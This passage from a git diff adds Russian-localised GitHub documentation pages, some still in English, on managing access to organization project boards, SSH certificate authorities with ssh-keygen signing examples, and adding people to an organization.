"Поиск по имени пользователя, полному имени или адресу электронной почты" введите имя стороннего участника совместной работы, имя пользователя или адрес электронной почты {% data variables.product.prodname_dotcom %}. + ![Раздел "Участники совместной работы" с именем пользователя Octocat, указанным в поле поиска ](/assets/images/help/projects/org-project-collaborators-find-name.png) {% data reusables.project-management.add-collaborator %} {% data reusables.project-management.collaborator-permissions %} diff --git a/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/index.md b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/index.md new file mode 100644 index 000000000000..19bc4e893a3e --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/index.md @@ -0,0 +1,32 @@ +--- +title: 'Управление доступом к {% data variables.product.prodname_projects_v1 %} организации' +intro: 'Как владелец организации или администратор {% data variables.projects.projects_v1_board %} вы можете предоставить участникам организации, командам и сторонним участникам различные уровни доступа к {% data variables.projects.projects_v1_boards %}, принадлежащим вашей организации.' +redirect_from: + - /articles/managing-access-to-your-organization-s-project-boards + - /articles/managing-access-to-your-organizations-project-boards + - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-your-organizations-project-boards +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /project-board-permissions-for-an-organization + - /managing-access-to-a-project-board-for-organization-members + - /managing-team-access-to-an-organization-project-board + - /managing-an-individuals-access-to-an-organization-project-board + - /adding-an-outside-collaborator-to-a-project-board-in-your-organization + - /removing-an-outside-collaborator-from-an-organization-project-board +shortTitle: 'Manage {% data variables.product.prodname_project_v1 %} access' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: ec3c6cdaffc23dcb4df631879d17ec1ca6c1d61b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108835' +--- + diff --git a/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members.md b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members.md new file mode 100644 index 000000000000..ea99bf5ad8e2 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members.md @@ -0,0 +1,46 @@ +--- +title: 'Управление доступом к {% data variables.product.prodname_project_v1 %} для участников организации' +intro: 'Как владелец организации или администратор {% data variables.projects.projects_v1_board %} вы можете задать уровень разрешений по умолчанию для {% data variables.projects.projects_v1_board %} для всех участников организации.' +redirect_from: + - /articles/managing-access-to-a-project-board-for-organization-members + - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-a-project-board-for-organization-members +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage access for members +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 4c0b280f6c1b28532b191282db465b5ae5b3c274 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109440' +--- +{% data reusables.projects.project_boards_old %} + +По умолчанию члены организации имеют доступ на запись на {% data variables.projects.projects_v1_boards %} своей организации, если только владельцы организации или администраторы {% data variables.projects.projects_v1_board %} не настроили другие разрешения для {% data variables.projects.projects_v1_boards %}. + +## Настройка базового уровня разрешений для всех участников организации + +{% tip %} + +**Совет.** Вы можете предоставить участнику организации более высокие разрешения для {% data variables.projects.projects_v1_board %}. Дополнительные сведения см. в статье [Разрешения для панели проекта для организации](/articles/project-board-permissions-for-an-organization). + +{% endtip %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %} +1. Щелкните **Проекты (классические)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} +8. В разделе "Разрешения для участника организации" выберите базовый уровень разрешений для всех участников организации: **Чтение**, **Запись**, **Администратор** или **Нет**. +![Базовые параметры разрешений всех участников организации для панели проекта](/assets/images/help/projects/baseline-project-permissions-for-organization-members.png) +9. Выберите команду **Сохранить**. + +## Дополнительные материалы + +- [Управление доступом пользователя к {% data variables.product.prodname_project_v1 %} организации](/articles/managing-an-individual-s-access-to-an-organization-project-board) +- [Управление доступом команды к {% data variables.product.prodname_project_v1 %} организации](/articles/managing-team-access-to-an-organization-project-board) +- [Разрешения для {% data variables.product.prodname_project_v1_caps %} в организации](/articles/project-board-permissions-for-an-organization) diff --git a/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board.md b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board.md new file mode 100644 index 000000000000..db87ccf34840 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board.md @@ -0,0 +1,54 @@ +--- +title: 'Управление доступом пользователя к {% data variables.product.prodname_project_v1 %} организации' +intro: 'Как владелец организации или администратор {% data variables.projects.projects_v1_board %} вы можете управлять доступом отдельных участников к {% data variables.projects.projects_v1_board %}, принадлежащим вашей организации.' +redirect_from: + - /articles/managing-an-individual-s-access-to-an-organization-project-board + - /articles/managing-an-individuals-access-to-an-organization-project-board + - /github/setting-up-and-managing-organizations-and-teams/managing-an-individuals-access-to-an-organization-project-board +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage individual access +allowTitleToDifferFromFilename: true +ms.openlocfilehash: ceecfd317322f65541591f833c04f86d5b483c0e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109535' +--- +{% data reusables.projects.project_boards_old %} + +{% note %} + +**Примечание.** {% data reusables.project-management.cascading-permissions %} Дополнительные сведения см. в разделе [Разрешения для {% data variables.product.prodname_project_v1_caps %} в организации](/articles/project-board-permissions-for-an-organization). + +{% endnote %} + +## Предоставление участнику организации доступа к {% data variables.projects.projects_v1_board %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %} +1. Щелкните **Проекты (классические)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} +9. В разделе "Поиск по имени пользователя, полному имени или адресу электронной почты" введите имя участника совместной работы, имя пользователя или адрес электронной почты {% data variables.product.prodname_dotcom %}. + ![Раздел "Участники совместной работы" с именем пользователя Octocat, указанным в поле поиска ](/assets/images/help/projects/org-project-collaborators-find-name.png) {% data reusables.project-management.add-collaborator %} {% data reusables.project-management.collaborator-permissions %} + +## Изменение доступа участника организации к {% data variables.projects.projects_v1_board %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %} +1. Щелкните **Проекты (классические)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} {% data reusables.project-management.collaborator-permissions %} + +## Удаление у участников организации доступа к {% data variables.projects.projects_v1_board %} + +При удалении участника совместной работы с {% data variables.projects.projects_v1_board %} он сохранит доступ к доске с учетом разрешений, которые у него имеются для других ролей. Чтобы полностью удалить доступ к {% data variables.projects.projects_v1_board %} необходимо удалить доступ для каждой роли, которая есть у пользователя. Например, у пользователя может быть доступ к {% data variables.projects.projects_v1_board %} в качестве участника организации или участника группы. Дополнительные сведения см. в разделе [Разрешения для {% data variables.product.prodname_project_v1_caps %} в организации](/articles/project-board-permissions-for-an-organization). + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %} +1. Щелкните **Проекты (классические)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} {% data reusables.project-management.remove-collaborator %} + +## Дополнительные материалы + +- [Разрешения для {% data variables.product.prodname_project_v1_caps %} в организации](/articles/project-board-permissions-for-an-organization) diff --git a/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board.md b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board.md new file mode 100644 index 000000000000..3c88ff61afd0 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board.md @@ -0,0 +1,68 @@ +--- +title: 'Управление доступом команды к {% data variables.product.prodname_project_v1 %} организации' +intro: 'Как владелец организации или администратор {% data variables.projects.projects_v1_board %} вы можете предоставить команде доступ к {% data variables.projects.projects_v1_board %}, принадлежащим вашей организации.' +redirect_from: + - /articles/managing-team-access-to-an-organization-project-board + - /github/setting-up-and-managing-organizations-and-teams/managing-team-access-to-an-organization-project-board +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage team access +allowTitleToDifferFromFilename: true +ms.openlocfilehash: c49fab76bbf286f865e3845356213bc1af18b20a +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109456' +--- +{% data reusables.projects.project_boards_old %} + +{% warning %} + +**Предупреждения.** +- Вы можете изменить уровень разрешений команды, если команда имеет прямой доступ к {% data variables.projects.projects_v1_board %}. Если доступ команды к {% data variables.projects.projects_v1_board %} наследуется от родительской команды, необходимо изменить доступ родительской команды к {% data variables.projects.projects_v1_board %}. +- При добавлении или удалении доступа к {% data variables.projects.projects_v1_board %} для родительской команды каждая из дочерних команд этого родителя также получит или потеряет доступ к {% data variables.projects.projects_v1_board %}. Дополнительные сведения см. в статье "[Сведения о командах](/articles/about-teams)". + +{% endwarning %} + +## Предоставление группе доступа к {% data variables.projects.projects_v1_board %} + +Вы можете предоставить всей команде одинаковый уровень разрешений для {% data variables.projects.projects_v1_board %}. + +{% note %} + +**Примечание.** {% data reusables.project-management.cascading-permissions %} Например, если владелец организации предоставил команде разрешения на чтение для {% data variables.projects.projects_v1_board %}, и администратор {% data variables.projects.projects_v1_board %} предоставляет одному из участников команды права администратора для этой панели, как для отдельного участника совместной работы, то такой пользователь будет иметь права администратора для {% data variables.projects.projects_v1_board %}. Дополнительные сведения см. в разделе [Разрешения для {% data variables.product.prodname_project_v1_caps %} в организации](/articles/project-board-permissions-for-an-organization). + +{% endnote %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %} +1. Щелкните **Проекты (классические)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} +8. На левой боковой панели нажмите **Команды**. +9. Чтобы добавить команду, нажмите кнопку **Добавить команду: выбрать команду**. Затем выберите команду из раскрывающегося меню или найдите команду, которую вы хотите добавить. + ![Добавление раскрывающегося меню команды со списком команд в организации](/assets/images/help/projects/add-a-team.png) +10. Рядом с именем команды используйте раскрывающееся меню, чтобы выбрать нужный уровень разрешений: **Чтение**, **Запись** или **Администратор**. ![Раскрывающееся меню разрешений команды, где приведены разрешения на чтение, запись и разрешения администратора](/assets/images/help/projects/org-project-team-choose-permissions.png) + +## Настройка доступа команды к {% data variables.projects.projects_v1_board %} + +Если доступ команды к {% data variables.projects.projects_v1_board %} наследуется от родительской команды, необходимо изменить доступ родительской команды к {% data variables.projects.projects_v1_board %}, чтобы обновить доступ для дочерней команды. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} +4. Над беседой команды нажмите {% octicon "project" aria-label="The Projects icon" %} **Проекты**. + ![Вкладка репозиториев команды](/assets/images/help/organizations/team-project-board-button.png) +5. Чтобы изменить уровни разрешений, используйте раскрывающийся список справа от {% data variables.projects.projects_v1_board %}, которую требуется обновить. Чтобы удалить {% data variables.projects.projects_v1_board %}, щелкните **{% octicon "trash" aria-label="The trash icon" %}** . + ![Кнопка "Удаление панели проекта из корзины команды"](/assets/images/help/organizations/trash-button.png) + +{% ifversion projects-v2-add-to-team %} + +## Дополнительные материалы + +- [Добавление проекта в команду](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team) + + +{% endif %} diff --git a/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization.md b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization.md new file mode 100644 index 000000000000..705463eafd16 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization.md @@ -0,0 +1,56 @@ +--- +title: 'Разрешения для {% data variables.product.prodname_project_v1_caps %} в организации' +intro: 'Владельцы и пользователи организации с разрешениями администратора {% data variables.projects.projects_v1_board %} могут настраивать, у кого должны быть разрешения на чтение, запись и администрирование в {% data variables.projects.projects_v1_boards %} в организации.' +redirect_from: + - /articles/project-board-permissions-for-an-organization + - /github/setting-up-and-managing-organizations-and-teams/project-board-permissions-for-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: '{% data variables.product.prodname_project_v1_caps %} permissions' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: fbc3ec7db52d6b4a417a4e9e93aea9ae717e2fca +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147614210' +--- +{% data reusables.projects.project_boards_old %} + +## Permissions overview (Общие сведения о разрешениях) + +Существует три уровня разрешений для {% data variables.projects.projects_v1_board %} для людей и команд: + +{% data reusables.project-management.project-board-permissions %} + +Владельцы организации и пользователи с разрешениями администратора могут предоставлять пользователям доступ к {% data variables.projects.projects_v1_board %} организации индивидуально, как стороннему участнику или как участнику организации, либо посредством членства в команде или организации. Сторонний участник совместной работы — это пользователь, который не является членом организации, но ему предоставлены разрешения на совместную работу в вашей организации. + +Владельцы организации и пользователи с разрешениями администратора для {% data variables.projects.projects_v1_board %} также могут: +- Настройка разрешений по умолчанию для доступа к панели проекта всех участников организации. +- Управление доступом к панели проекта для участников организации, команд и внешних участников совместной работы. Дополнительные сведения см. в разделе [Управление доступом команды к {% data variables.product.prodname_project_v1 %} организации](/articles/managing-team-access-to-an-organization-project-board), [Управление доступом пользователя к {% data variables.product.prodname_project_v1 %} организации](/articles/managing-an-individual-s-access-to-an-organization-project-board) или [Управление доступом к {% data variables.product.prodname_project_v1 %} для членов организации](/articles/managing-access-to-a-project-board-for-organization-members). +- Управление видимостью панели проекта. Дополнительные сведения см. в разделе [Управление доступом к {% data variables.product.prodname_project_v1 %} для участников организации](/articles/managing-access-to-a-project-board-for-organization-members). + +## Каскадные разрешения для {% data variables.projects.projects_v1_boards %} + +{% data reusables.project-management.cascading-permissions %} + +Например, если владелец организации предоставил членам организации разрешения на чтение для {% data variables.projects.projects_v1_board %}, и администратор {% data variables.projects.projects_v1_board %} предоставляет члену организации разрешения на запись для этой панели, как для отдельного участника совместной работы, то такой пользователь будет иметь разрешения на запись для {% data variables.projects.projects_v1_board %}. + +## Видимость {% data variables.projects.projects_v1_board_caps %} + +{% ifversion classic-project-visibility-permissions %}{% data reusables.projects.owners-can-limit-visibility-permissions %}{% endif %} + +{% data reusables.project-management.project-board-visibility %} Можно изменить видимость {% data variables.projects.projects_v1_board %} с "Частная" на {% ifversion ghae %}"Внутренняя"{% else %}"Общедоступная"{% endif %} и обратно. Дополнительные сведения см. в разделе [Изменение видимости {% data variables.product.prodname_project_v1 %}](/articles/changing-project-board-visibility). + +## Дополнительные материалы + +- [Изменение видимости {% data variables.product.prodname_project_v1 %}](/articles/changing-project-board-visibility) +- [Управление доступом пользователя к {% data variables.product.prodname_project_v1 %} организации](/articles/managing-an-individual-s-access-to-an-organization-project-board) +- [Управление доступом команды к {% data variables.product.prodname_project_v1 %} организации](/articles/managing-team-access-to-an-organization-project-board) +- [Управление доступом к {% data variables.product.prodname_project_v1 %} для участников организации](/articles/managing-access-to-a-project-board-for-organization-members) diff --git a/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/removing-an-outside-collaborator-from-an-organization-project-board.md b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/removing-an-outside-collaborator-from-an-organization-project-board.md new file mode 100644 index 000000000000..6e746d3b0ee0 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/removing-an-outside-collaborator-from-an-organization-project-board.md @@ -0,0 +1,27 @@ +--- +title: 'Удаление стороннего участника совместной работы из организации {% data variables.product.prodname_project_v1 %}' +intro: 'Как владелец организации или администратор {% data variables.projects.projects_v1_board %} вы можете отозвать доступ стороннего участника совместной работы к {% data variables.projects.projects_v1_board %}.' +redirect_from: + - /articles/removing-an-outside-collaborator-from-an-organization-project-board + - /github/setting-up-and-managing-organizations-and-teams/removing-an-outside-collaborator-from-an-organization-project-board +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Remove outside collaborator +allowTitleToDifferFromFilename: true +ms.openlocfilehash: ce2dd198d259473b775cf6a9bd61e494ad1c2717 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109463' +--- +{% data reusables.projects.project_boards_old %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %} +1. Щелкните **Проекты (классические)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} {% data reusables.project-management.remove-collaborator %} diff --git a/translations/ru-RU/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md b/translations/ru-RU/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md new file mode 100644 index 000000000000..99c980c99ffc --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md @@ -0,0 +1,71 @@ +--- +title: About SSH certificate authorities +intro: 'With an SSH certificate authority, your organization or enterprise account can provide SSH certificates that members can use to access your resources with Git.' +redirect_from: + - /articles/about-ssh-certificate-authorities + - /github/setting-up-and-managing-organizations-and-teams/about-ssh-certificate-authorities +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: SSH certificate authorities +--- + +## About SSH certificate authorities + +An SSH certificate is a mechanism for one SSH key to sign another SSH key. If you use an SSH certificate authority (CA) to provide your organization members with signed SSH certificates, you can add the CA to your enterprise account or organization to allow organization members to use their certificates to access organization resources. + +{% data reusables.organizations.ssh-ca-ghec-only %} + +After you add an SSH CA to your organization or enterprise account, you can use the CA to sign client SSH certificates for organization members. Organization members can use the signed certificates to access your organization's repositories (and only your organization's repositories) with Git. Optionally, you can require that members use SSH certificates to access organization resources. For more information, see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" and "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)." + +For example, you can build an internal system that issues a new certificate to your developers every morning. Each developer can use their daily certificate to work on your organization's repositories on {% data variables.product.product_name %}. At the end of the day, the certificate can automatically expire, protecting your repositories if the certificate is later compromised. + +{% ifversion ghec %} +Organization members can use their signed certificates for authentication even if you've enforced SAML single sign-on. Unless you make SSH certificates a requirement, organization members can continue to use other means of authentication to access your organization's resources with Git, including their username and password, {% data variables.product.pat_generic %}s, and their own SSH keys. +{% endif %} + +Members will not be able to use their certificates to access forks of your repositories that are owned by their personal accounts. + +## About SSH URLs with SSH certificates + +If your organization requires SSH certificates, to prevent authentication errors, organization members should use a special URL that includes the organization ID when performing Git operations over SSH. This special URL allows the client and server to more easily negotiate which key on the member's computer should be used for authentication. If a member uses the normal URL, which starts with `git@github.com`, the SSH client might offer the wrong key, causing the operation to fail. + +Anyone with read access to the repository can find this URL by selecting the **Code** dropdown menu on the main page of the repository, then clicking **Use SSH**. + +If your organization doesn't require SSH certificates, members can continue to use their own SSH keys, or other means of authentication. In that case, either the special URL or the normal URL, which starts with `git@github.com`, will work. + +## Issuing certificates + +When you issue each certificate, you must include an extension that specifies which {% data variables.product.product_name %} user the certificate is for. For example, you can use OpenSSH's `ssh-keygen` command, replacing _KEY-IDENTITY_ with your key identity and _USERNAME_ with a {% data variables.product.product_name %} username. The certificate you generate will be authorized to act on behalf of that user for any of your organization's resources. Make sure you validate the user's identity before you issue the certificate. + +{% note %} + +**Note:** You must update to OpenSSH 7.6 or later to use these commands. + +{% endnote %} + +```shell +$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@{% data variables.product.product_url %}=USERNAME ./user-key.pub +``` + +{% warning %} + +**Warning**: After a certificate has been signed and issued, the certificate cannot be revoked. Make sure to use the -`V` flag to configure a lifetime for the certificate, or the certificate can be used indefinitely. + +{% endwarning %} + +To issue a certificate for someone who uses SSH to access multiple {% data variables.product.company_short %} products, you can include two login extensions to specify the username for each product. For example, the following command would issue a certificate for _USERNAME-1_ for the user's account for {% data variables.product.prodname_ghe_cloud %}, and _USERNAME-2_ for the user's account on {% data variables.product.prodname_ghe_managed %} or {% data variables.product.prodname_ghe_server %} at _HOSTNAME_. + +```shell +$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@github.com=USERNAME-1 extension:login@HOSTNAME=USERNAME-2 ./user-key.pub +``` + +You can restrict the IP addresses from which an organization member can access your organization's resources by using a `source-address` extension. The extension accepts a specific IP address or a range of IP addresses using CIDR notation. You can specify multiple addresses or ranges by separating the values with commas. For more information, see "[Classless Inter-Domain Routing](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation)" on Wikipedia. + +```shell +$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@{% data variables.product.product_url %}=USERNAME -O source-address=COMMA-SEPARATED-LIST-OF-IP-ADDRESSES-OR-RANGES ./user-key.pub +``` diff --git a/translations/ru-RU/content/organizations/managing-git-access-to-your-organizations-repositories/index.md b/translations/ru-RU/content/organizations/managing-git-access-to-your-organizations-repositories/index.md new file mode 100644 index 000000000000..ea1e641df508 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-git-access-to-your-organizations-repositories/index.md @@ -0,0 +1,26 @@ +--- +title: Управление доступом Git к репозиториям вашей организации +intro: 'Вы можете добавить центр сертификации (ЦС) SSH в организацию и разрешить участникам доступ к репозиториям организации посредством Git с помощью ключей, подписанных ЦС SSH.' +redirect_from: + - /articles/managing-git-access-to-your-organizations-repositories-using-ssh-certificate-authorities + - /articles/managing-git-access-to-your-organizations-repositories + - /github/setting-up-and-managing-organizations-and-teams/managing-git-access-to-your-organizations-repositories +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /about-ssh-certificate-authorities + - /managing-your-organizations-ssh-certificate-authorities +shortTitle: Manage Git access +ms.openlocfilehash: 6ef8cc587bda642e0eab5cce3fa2026adf54da53 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145134945' +--- +{% data reusables.organizations.ssh-ca-ghec-only %} diff --git a/translations/ru-RU/content/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities.md b/translations/ru-RU/content/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities.md new file mode 100644 index 000000000000..b48a440a08f7 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities.md @@ -0,0 +1,39 @@ +--- +title: Managing your organization's SSH certificate authorities +intro: You can add or delete SSH certificate authorities from your organization. +redirect_from: + - /articles/managing-your-organizations-ssh-certificate-authorities + - /github/setting-up-and-managing-organizations-and-teams/managing-your-organizations-ssh-certificate-authorities +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage SSH authorities +permissions: Organization owners can manage an organization's SSH certificate authorities (CA). +--- + +You can allow members to access your organization's repositories using SSH certificates you provide by adding an SSH CA to your organization. {% data reusables.organizations.can-require-ssh-cert %} For more information, see "[About SSH certificate authorities](/articles/about-ssh-certificate-authorities)." + +{% data reusables.organizations.ssh-ca-ghec-only %} + +{% data reusables.organizations.add-extension-to-cert %} + +## Adding an SSH certificate authority + +If you require SSH certificates for your enterprise, enterprise members should use a special URL for Git operations over SSH. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities#about-ssh-urls-with-ssh-certificates)." + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +{% data reusables.organizations.new-ssh-ca %} +{% data reusables.organizations.require-ssh-cert %} + +## Deleting an SSH certificate authority + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +{% data reusables.organizations.delete-ssh-ca %} diff --git a/translations/ru-RU/content/organizations/managing-membership-in-your-organization/adding-people-to-your-organization.md b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/adding-people-to-your-organization.md new file mode 100644 index 000000000000..1e68d79431e0 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/adding-people-to-your-organization.md @@ -0,0 +1,30 @@ +--- +title: Adding people to your organization +intro: 'You can make anyone a member of your organization using their {% data variables.product.product_name %} username or email address.' +redirect_from: + - /articles/adding-people-to-your-organization + - /github/setting-up-and-managing-organizations-and-teams/adding-people-to-your-organization +versions: + ghes: '*' + ghae: '*' +permissions: Organization owners can add people to an organization. +shortTitle: Add people to organization +--- + +{% ifversion not ghae %} +If your organization [requires members to use two-factor authentication](/articles/requiring-two-factor-authentication-in-your-organization), users must [enable two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) before you can add them to the organization. +{% endif %} + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.organizations.invite_member_from_people_tab %} +{% data reusables.organizations.invite_to_org %} +{% data reusables.organizations.choose-to-restore-privileges %} +{% data reusables.organizations.choose-user-role %} +{% data reusables.organizations.choose-user-license %} +{% data reusables.organizations.add-user-to-teams %} +{% data reusables.organizations.send-invitation %} + +## Further reading +- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)" diff --git a/translations/ru-RU/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md new file mode 100644 index 000000000000..9d45c3ef0bbf --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md @@ -0,0 +1,34 @@ +--- +title: Можно ли создавать учетные записи для пользователей в моей организации? +intro: 'Хотя вы можете добавить пользователей в созданную организацию, создание личных учетных записей от имени другого пользователя недоступно.' +redirect_from: + - /articles/can-i-create-accounts-for-those-in-my-organization + - /articles/can-i-create-accounts-for-people-in-my-organization + - /github/setting-up-and-managing-organizations-and-teams/can-i-create-accounts-for-people-in-my-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Create accounts for people +ms.openlocfilehash: 9ddbb857d86a3cada3f11a20a3ed1fab7bb263b8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145109827' +--- +## Сведения о личных учетных записях + +Так как вы осуществляете доступ к организации путем входа в личную учетную запись, каждому члену команды необходимо создать собственную личную учетную запись. После создания имен пользователей для всех пользователей, которых вы хотите добавить в свою организацию, можно добавить этих пользователей в команды. + +{% ifversion fpt or ghec %} {% ifversion fpt %}Организации, которые используют {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %}, могут применять единый вход SAML для централизованного управления доступом, который предоставляется личным учетным записям к ресурсам организации посредством поставщика удостоверений. Дополнительные сведения см. в разделе [Сведения об управлении удостоверениями и доступом с помощью единого входа SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion fpt %} в документации по {% data variables.product.prodname_ghe_cloud %}.{% else %}.{% endif %} + +Можно также рассмотреть {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %} {% endif %} + +## Добавление пользователей в организацию + +1. Предоставьте каждому пользователю инструкции по [созданию личной учетной записи](/articles/signing-up-for-a-new-github-account). +2. Запросите имя пользователя для каждого пользователя, которому вы хотите предоставить членство в организации. +3. [Пригласите новые личные учетные записи 